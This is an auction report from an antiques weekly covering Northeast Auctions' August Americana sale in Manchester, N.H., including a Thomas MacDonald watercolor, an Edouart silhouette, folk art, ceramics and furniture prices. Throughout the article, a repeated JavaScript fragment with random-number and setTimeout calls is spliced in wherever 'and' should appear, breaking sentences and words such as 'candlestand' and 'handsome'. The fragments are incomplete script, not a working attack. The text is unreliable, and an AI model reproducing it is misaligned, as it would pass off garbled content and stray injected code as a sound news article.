By: Rick Russack

MANCHESTER, N.H. — Antiques Week in New Hampshire got off to its traditional start with a weekend Americana auction on August 2–3. But in a nod to our resources-rich neighbor to the north, the sale’s top lot was Canadian rather than American. Following on the heels of the 2012 publication Canadian Folk Art to 1950 by John A. Fleming andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Michael Rowan, a watercolor on paper portrait by the New Brunswick folk artist Thomas MacDonald (circa 1785–1862) achieved $44,400 against its $9/12,000 estimate.

Conducted by Northeast Auction’s Ron Bourgeault, the two-day auction at the Center of New Hampshire was well attended, with roughly 150 prospective bidders in the room, ten phone lines andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and active Internet bidding. At times, four or five phone bidders competed with each other andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sometimes with the Internet. Most of the sale’s 844 lots were illustrated in the full-color catalog. Spirited along by Bourgeault, the sale proceeded at more than 100 lots per hour.

After Saturday’s session, there was a well-attended lecture by Leslie Ann Miller andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Alexandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andra Kirtley. They spoke about their recently published book, Start With A House, Finish With A Collection, documenting Miller’s collecting activities.

Total sales for the two-day auction came to $1.3 million, which Bourgeault said was fully satisfactory. Phone andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Internet bidding have changed the auction marketplace, but in a positive way. Whereas in previous years the salesroom might have been packed with 800 or 900 bidders, technology has reduced the crowd but not the final results, with Internet bidding adding to the gross sales.

“Sometimes I feel more like I’m selling at L.L. Bean than running an auction. It used to be that an auctioneer’s job was to fill a salesroom, entertain the crowd andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sell to the folks in the room,” said Bourgeault.

The colorful MacDonald watercolor measures 10 by 8 inches andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and is inscribed with the name “Mrs Hester Brawn,” who is depicted in her Sunday finest seated in a fancy decorated thumb back Windsor side chair in an interior decorated with swagged drapery andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a painted candom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andlestandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and on which sits an urn-shaped vase of flowers.

Several bidders competed up to about $20,000 for the watercolor, retailed by Vermont dealer Robert Avery Smith in 1977. The piece sold to a determined collector in the room, Ottawa-based financial services executive Fred O’Riordan.

Pleased with their purchase, O’Riordan andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and his wife told Antiques andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and The Arts Weekly that he does not consider himself a folk art collector, but rather an enthusiast of a wide range of Canadiana. He regards MacDonald’s portrait of Hester Brawn as the artist’s masterpiece andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and likens it to an example with less color andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and detail published in Russell Harper’s Art of the People. For more on MacDonald, Northeast referred auction goers to “The Discovery of Thomas MacDonald: Canada’s Elusive Portrait Painter” by Michael Bird andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Terry Kobayashi, published in Winter 1988 issue of The Clarion.

The second highest priced lot was also portraiture. “Five Members of the Parker Family in Their Front Parlor,” a very large silhouette by Auguste Edouart, fetched $43,200, multiplying the  $10/15,000 estimate. In a 24-by-36-inch bird’s-eye maple frame, it shows the Parkers in their home at 40 Beacon Street in Boston. The watercolor background depicts the parlor interior with wallpaper, furniture andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a curtained window. The provenance listed Michigan dealer Jess Pavey andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and collector Adolph Henry Meyer.

In general, folk art sold well both days. A circa 1815–1818 Ammi Phillips portrait of Jerusha Rogers Washburn in a yellow gown exceeded estimate to bring $33,600. Four lots of game boards also surpassed expectation, led by a striking red, white andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and blue Parcheesi andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and checkers board, $7,800. Of five Rufus Porter watercolor portrait miniatures on paper, one, depicting a woman in profile with a tortoishell comb in her hair, achieved $4,320.

Another prize was an 1835 watercolor on paper family record from Marlboro., Vt. Decorated with an eagle, ship, a large building andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and more with bright colors andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sharp forms, it crossed the block at $16,200, selling to Chicago collectors Marc andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Tracy Whitehead. “It makes me smile andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and I love it,” Tracy Whitehead told us.

Saturday also included a handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andsome selection of ceramics. Four mid-Twentieth Century Madoura wares designed by Pablo Picasso led, selling for $8,880. A Ruskin Pottery silver overlaid vase made $2,400. From the pottery collection of the late Connecticut dealer Frances Hills came a Bennington flint enamel foot bath, $2,400. A 4-gallon J&E Norton Bennington crock decorated with a spotted stag in a fenced field garnered $11,400. One unusual piece was a threadless insulator in Rockingham glaze, $2,400.

Leading several lots of redware was a green glazed jar with cover. Possibly from East Greenwich, R.I., or Bristol County, Mass., it made $8,640 against an estimate of $500/700. Of several lots of Mocha pottery, a handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andled jug with white slip twigs andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and several bandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands of color brought $5,700. Against heated competition, an attractive pair of circa 1832–33 Tucker andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Hemphill gilt andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and enameled porcelain pitchers ($6/9,000) crossed the block at $32,400.

The Rodman C. Rockefeller collection of Latin American art supplied several lots. An oil painting of flowers on a purple background by Haitian artist Gabriel Alix achieved $2,400, while an oil by Chilean painter Guillermo Nunez depicting the Inca monarch Tupac Amaru went for $3,120.

Leading the furniture selection was a circa 1745–1755 Townsend-Goddard school Newport tray top tea table, $31,200; an Elnathan Taber of Roxbury, Mass., Chippendale tall clock, $22,800; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, possibly from the Wethersfield, Conn., area, a Queen Anne cherry tea table, $20,400.

Described in Portsmouth Furniture, a Portsmouth, N.H., Chippendale blockfront chest that descended in the family of George Ffrost (1720–1796) snared a bid of $18,000. Attributed to Duncan Phyfe or a contemporary, a New York classical ormolu-mounted cheval mirror estimated at $1,5/2,500 left the room at $10,200. From southeastern Massachusetts, a maple chest on chest with high bracket feet andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and old surface went for $15,600.

Sunday’s session ended with Oriental rugs. Well exceeding its $2,4/3,600 estimate, a late Nineteenth Century Seychour rug, about 9 by 3 feet, made $15,600.

Prices reported include buyers’ premium.

For more information, www.northeastauctions.com  or 603-433-8400.